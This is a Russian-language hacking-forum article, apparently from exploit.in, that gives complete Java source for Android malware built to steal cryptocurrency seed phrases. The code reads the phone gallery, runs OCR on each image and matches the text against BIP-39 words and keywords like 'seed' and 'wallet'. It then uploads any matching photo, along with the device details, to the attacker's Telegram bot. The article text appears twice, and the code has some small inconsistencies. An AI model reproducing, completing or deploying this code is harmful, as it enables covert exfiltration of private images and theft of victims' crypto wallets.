:zns6:Android Malware - Seed Phrase Stealer / OCR / - Source Code
Сегодня статья будет посвящена вирусу на Android, который автоматически ищет seed-фразы в галерее и способен находить другие важные данные, используя паттерны и ключевые слова.
Для этого мы будем использовать библиотеку Google ML Kit — мощный и эффективный инструмент, который будет распознавать текст на изображениях и конвертировать его в понятный для анализа текстовый вид.
Писать будем на Java (A), без серверной части, так как лог будет приходить напрямую в Telegram по bot token и user id.
1.Разрешения:
Для начала нам нужно получить доступ к галерее, где будет происходить поиск seed-фраз. Для этого добавляем в AndroidManifest.xml необходимое разрешение:
XML: Скопировать в буфер обмена
2.Запрос разрешения у пользователя в MainActivity.java:
Java: Скопировать в буфер обмена
3.Обрабатываем результат запроса:
Java: Скопировать в буфер обмена
Хочу подчеркнуть, что такой метод работает на новых версиях Android 13, 14. Если вы хотите использовать код на более старых версиях (Android 12 и ниже), то вам потребуется другое разрешение:
XML: Скопировать в буфер обмена
Логика запроса останется такой же, но с изменённой логикой работы с изображениями. На старых версиях Android заострять внимание не будем, но стоит упомянуть для тех, кто будет тестировать на Android 12 и ниже.
4.Основной код MainActivity.java:
Java: Скопировать в буфер обмена
BOT_TOKEN и CHAT_ID не нуждаются в объяснении.
Остальные параметры:
keywordCount — Определяет, сколько ключевых слов должно совпасть для обнаружения seed-фразы. Seed-фразы состоят из 12-24 слов, но только 2048 английских слов могут быть частью BIP-39 фразы. Мы используем только английские слова, так как они наиболее распространены.
speedMs — Задержка в миллисекундах перед проверкой следующего изображения.
specialKeywords — Список ключевых слов, которые будут искаться в галерее. Если найдено совпадение, лог с изображением и ключевым словом будет отправлен в Telegram.
4.1.Методы:
Java: Скопировать в буфер обмена
Код передает краткую информацию о устройстве - Модель,Версия Android
Java: Скопировать в буфер обмена
Метод загружает ключевые слова для поиска из файла english.txt (res/raw). Эти ключевые слова будут использоваться для проверки текста,
распознанного с помощью OCR.
Слова добавляются в коллекцию keywords, которая содержит все слова, которые нужно искать в текстах на изображениях.
:smile10: Теперь самое интересное, методы для сканирования галереи:
Java: Скопировать в буфер обмена
Отвечает за сканирование галереи устройства, чтобы получить список изображений.
Результаты запроса сортируются по дате добавления и передаются в метод для последовательной обработки изображений processImagesSequentially.
Java: Скопировать в буфер обмена
Этот метод обрабатывает изображения одно за другим с задержкой, которая задается переменной speedms.
Он извлекает путь к следующему изображению из списка и вызывает метод processImageAsync() для обработки изображения.
(Попытался в многопоток но возникли некоторые проблемы с Google ML Kit)
Java: Скопировать в буфер обмена
Загружает изображение и уменьшает его размер, чтобы оптимизировать его для распознавания текста. Этот метод также управляет освобождением памяти, чтобы предотвратить утечки памяти.
После обработки изображения вызывается метод recognizeTextFromImage(), который передает уменьшенное изображение на анализ с помощью Google ML Kit
Сделано для оптимизации.
Java: Скопировать в буфер обмена
Отвечает за распознавание текста на изображении с использованием Google ML Kit, анализирует изображение, а результат передается в методы для извлечения ключевых слов.
В случае успешного распознавания, результат анализируется для проверки на наличие ключевых слов используемых в seed фразах.
Java: Скопировать в буфер обмена
Метод извлекает английские слова с помощью регулярного выражения. Если необходимо работать с текстом на других языках,
можно легко добавить дополнительные регулярные выражения в объект Pattern, адаптировав их под нужные языки.
(Как было сказано выше seed фразы в формате BIP-39 могут быть на других языках)
Java: Скопировать в буфер обмена
Проверяет, содержит ли список слов хотя бы одно из ключевых слов из коллекции keywords.
Если найдено достаточно ключевых слов (определяется переменной keywordcount), метод возвращает true, что инициирует отправку данных в Telegram.
И, наконец, отправка данных в Telegram:
Java: Скопировать в буфер обмена
После выполнения кода вам придёт лог следующего вида:
После выполнения кода вам придёт лог, содержащий информацию о модели устройства, версии Android и подписью с описанием того, что именно нашёл код.
Всем спасибо за внимание! Надеюсь, статья была интересна для прочтения.:smile10:
Если у вас возникли вопросы или есть дополнения, буду рад ответить на них в комментариях под постом.
Также прикреплю архив с файлами проекта.
Сегодня статья будет посвящена вирусу на Android, который автоматически ищет seed-фразы в галерее и способен находить другие важные данные, используя паттерны и ключевые слова.
Для этого мы будем использовать библиотеку Google ML Kit — мощный и эффективный инструмент, который будет распознавать текст на изображениях и конвертировать его в понятный для анализа текстовый вид.
Писать будем на Java (A), без серверной части, так как лог будет приходить напрямую в Telegram по bot token и user id.
1.Разрешения:
Для начала нам нужно получить доступ к галерее, где будет происходить поиск seed-фраз. Для этого добавляем в AndroidManifest.xml необходимое разрешение:
XML: Скопировать в буфер обмена
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
2.Запрос разрешения у пользователя в MainActivity.java:
Java: Скопировать в буфер обмена
Code:
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSION_CODE);
} else {
scanGalleryForImages();
}
3.Обрабатываем результат запроса:
Java: Скопировать в буфер обмена
Code:
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSION_CODE) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
scanGalleryForImages();
} else {
Log.e("Permissions", "Доступ к изображениям отклонён");
}
}
}
XML: Скопировать в буфер обмена
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
Логика запроса останется такой же, но с изменённой логикой работы с изображениями. На старых версиях Android заострять внимание не будем, но стоит упомянуть для тех, кто будет тестировать на Android 12 и ниже.
4.Основной код MainActivity.java:
Java: Скопировать в буфер обмена
Code:
public class MainActivity extends AppCompatActivity {
private static final String = ;
private static final String EXPLOIT = "https://forum.exploit.in/profile/172574-nmz/";
private static final String Adderall = "Благодарность "Adderall" с форума .is за идею для статьи.";
private Map<String, String> topicIdMap = new HashMap<>();
private static final int REQUEST_PERMISSION_CODE = 101;
private static final String BOT_TOKEN = ""; // Токен бота Telegram
private static final String CHAT_ID = ""; // ID пользователя Telegram
private int keywordCount = 10; // Сколько слов из словаря seed фраз должно совпасть
private Set<String> keywords = new HashSet<>();
private int speedMs = 0; // Задержка перед проверкой следующего изображения
private final List<String> specialKeywords = Arrays.asList("Seed", "phrase", "Mnemonic", "Recovery", "Pass", "Backup", "Key", "Master", "Access", "recovery", "seed", "Initial", "Wallet", "Entry", "Security", "Secret", "Private", "Blockchain", "Data", "protection", "Universal", "backup", "System", "Spare");
BOT_TOKEN и CHAT_ID не нуждаются в объяснении.
Остальные параметры:
keywordCount — Определяет, сколько ключевых слов должно совпасть для обнаружения seed-фразы. Seed-фразы состоят из 12-24 слов, но только 2048 английских слов могут быть частью BIP-39 фразы. Мы используем только английские слова, так как они наиболее распространены.
speedMs — Задержка в миллисекундах перед проверкой следующего изображения.
specialKeywords — Список ключевых слов, которые будут искаться в галерее. Если найдено совпадение, лог с изображением и ключевым словом будет отправлен в Telegram.
4.1.Методы:
Java: Скопировать в буфер обмена
Code:
private String getDeviceInfo() {
String model = Build.MODEL;
String androidVersion = Build.VERSION.RELEASE;
return "Device: " + model + ", Android: " + androidVersion;
}
Код передает краткую информацию о устройстве - Модель,Версия Android
Java: Скопировать в буфер обмена
Code:
private void loadKeywordsFromFile() {
try {
InputStream inputStream = getResources().openRawResource(R.raw.english);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
keywords.add(line.trim().toLowerCase());
}
reader.close();
} catch (IOException e) {
Log.e("Keywords", "kaput", e);
}
}
Метод загружает ключевые слова для поиска из файла english.txt (res/raw). Эти ключевые слова будут использоваться для проверки текста,
распознанного с помощью OCR.
Слова добавляются в коллекцию keywords, которая содержит все слова, которые нужно искать в текстах на изображениях.
:smile10: Теперь самое интересное, методы для сканирования галереи:
Java: Скопировать в буфер обмена
Code:
private void scanGalleryForImages() {
ContentResolver contentResolver = getContentResolver();
Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.DATA};
Cursor cursor = contentResolver.query(uri, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC");
if (cursor != null) {
try {
List<String> imagePaths = new ArrayList<>();
while (cursor.moveToNext()) {
String imagePath = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA));
imagePaths.add(imagePath);
}
processImagesSequentially(imagePaths);
} finally {
cursor.close();
}
}
}
Отвечает за сканирование галереи устройства, чтобы получить список изображений.
Результаты запроса сортируются по дате добавления и передаются в метод для последовательной обработки изображений processImagesSequentially.
Java: Скопировать в буфер обмена
Code:
private void processImagesSequentially(List<String> imagePaths) {
if (imagePaths.isEmpty()) {
return;
}
String imagePath = imagePaths.remove(0);
Uri imageUri = Uri.fromFile(new File(imagePath));
processImageAsync(imageUri);
new android.os.Handler().postDelayed(() -> processImagesSequentially(imagePaths), speedms);
}
Этот метод обрабатывает изображения одно за другим с задержкой, которая задается переменной speedms.
Он извлекает путь к следующему изображению из списка и вызывает метод processImageAsync() для обработки изображения.
(Попытался в многопоток но возникли некоторые проблемы с Google ML Kit)
Java: Скопировать в буфер обмена
Code:
private void processImageAsync(Uri imageUri) {
Bitmap bitmap = null;
try {
bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, bitmap.getWidth() / 2, bitmap.getHeight() / 2, false);
recognizeTextFromImage(resizedBitmap, imageUri);
} catch (IOException e) {
Log.e("ProcessImage", "Ошибка обработки изображения", e);
} finally {
if (bitmap != null && !bitmap.isRecycled()) {
bitmap.recycle();
}
}
}
Загружает изображение и уменьшает его размер, чтобы оптимизировать его для распознавания текста. Этот метод также управляет освобождением памяти, чтобы предотвратить утечки памяти.
После обработки изображения вызывается метод recognizeTextFromImage(), который передает уменьшенное изображение на анализ с помощью Google ML Kit
Сделано для оптимизации.
Java: Скопировать в буфер обмена
Code:
private void recognizeTextFromImage(Bitmap bitmap, Uri imageUri) {
InputImage image = InputImage.fromBitmap(bitmap, 0);
TextRecognizer recognizer = TextRecognition.getClient(TextRecognizerOptions.DEFAULT_OPTIONS);
recognizer.process(image)
.addOnSuccessListener(result -> {
ArrayList<String> englishWords = extractEnglishWords(result);
boolean foundSpecialKeyword = checkForSpecialKeywords(englishWords);
boolean foundKeyword = checkForKeywords(englishWords);
// Отправляем фото в тг только если есть от 12 до 24 слов и найдено ключевое слово
if (englishWords.size() >= 12 && englishWords.size() <= 24 && foundKeyword) {
String deviceInfo = getDeviceInfo();
sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": от 12 до 24 фраз и " + keywordcount + " из словаря seed фраз");
}
if (foundSpecialKeyword) {
String keyword = findSpecialKeyword(englishWords);
String deviceInfo = getDeviceInfo();
sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": Найдено ключевое слово: " + keyword);
}
})
.addOnFailureListener(e -> Log.e("Text Recognition", "Ошибка распознавания текста", e));
}
Отвечает за распознавание текста на изображении с использованием Google ML Kit, анализирует изображение, а результат передается в методы для извлечения ключевых слов.
В случае успешного распознавания, результат анализируется для проверки на наличие ключевых слов используемых в seed фразах.
Java: Скопировать в буфер обмена
Code:
private ArrayList<String> extractEnglishWords(Text result) {
ArrayList<String> wordsList = new ArrayList<>();
Pattern pattern = Pattern.compile("[a-zA-Z]+");
for (Text.TextBlock block : result.getTextBlocks()) {
Matcher matcher = pattern.matcher(block.getText());
while (matcher.find()) {
wordsList.add(matcher.group().toLowerCase());
}
}
return wordsList;
}
Метод извлекает английские слова с помощью регулярного выражения. Если необходимо работать с текстом на других языках,
можно легко добавить дополнительные регулярные выражения в объект Pattern, адаптировав их под нужные языки.
(Как было сказано выше seed фразы в формате BIP-39 могут быть на других языках)
Java: Скопировать в буфер обмена
Code:
private boolean checkForKeywords(ArrayList<String> words) {
int keywordCount = 0;
for (String word : words) {
if (keywords.contains(word)) {
Log.d("Keyword Found", "Найдено ключевое слово: " + word);
keywordCount++;
if (keywordCount >= keywordcount) {
return true;
}
}
}
return false;
}
Проверяет, содержит ли список слов хотя бы одно из ключевых слов из коллекции keywords.
Если найдено достаточно ключевых слов (определяется переменной keywordcount), метод возвращает true, что инициирует отправку данных в Telegram.
И, наконец, отправка данных в Telegram:
Java: Скопировать в буфер обмена
Code:
private void sendPhotoToTelegram(Uri imageUri, ArrayList<String> words, String caption) {
try {
File file = new File(getCacheDir(), "image.jpg");
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
FileOutputStream fos = new FileOutputStream(file);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
fos.flush();
fos.close();
if (bitmap != null && !bitmap.isRecycled()) {
bitmap.recycle();
}
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("photo", "image.jpg", RequestBody.create(MediaType.parse("image/jpeg"), file))
.addFormDataPart("caption", caption)
.build();
Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
.post(requestBody)
.build();
client.newCall(request).enqueue(new okhttp3.Callback() {
@Override
public void onFailure(okhttp3.Call call, IOException e) {
Log.e("Telegram", "Ошибка отправки сообщения", e);
}
@Override
public void onResponse(okhttp3.Call call, Response response) throws IOException {
if (response.isSuccessful()) {
Log.d("Telegram", "збс");
} else {
Log.e("Telegram", "не збс: " + response.message());
}
}
});
} catch (IOException e) {
Log.e("Telegram", "Ошибка отправки файла", e);
}
}
После выполнения кода вам придёт лог следующего вида:
После выполнения кода вам придёт лог, содержащий информацию о модели устройства, версии Android и подписью с описанием того, что именно нашёл код.
Всем спасибо за внимание! Надеюсь, статья была интересна для прочтения.:smile10:
Если у вас возникли вопросы или есть дополнения, буду рад ответить на них в комментариях под постом.
Также прикреплю архив с файлами проекта.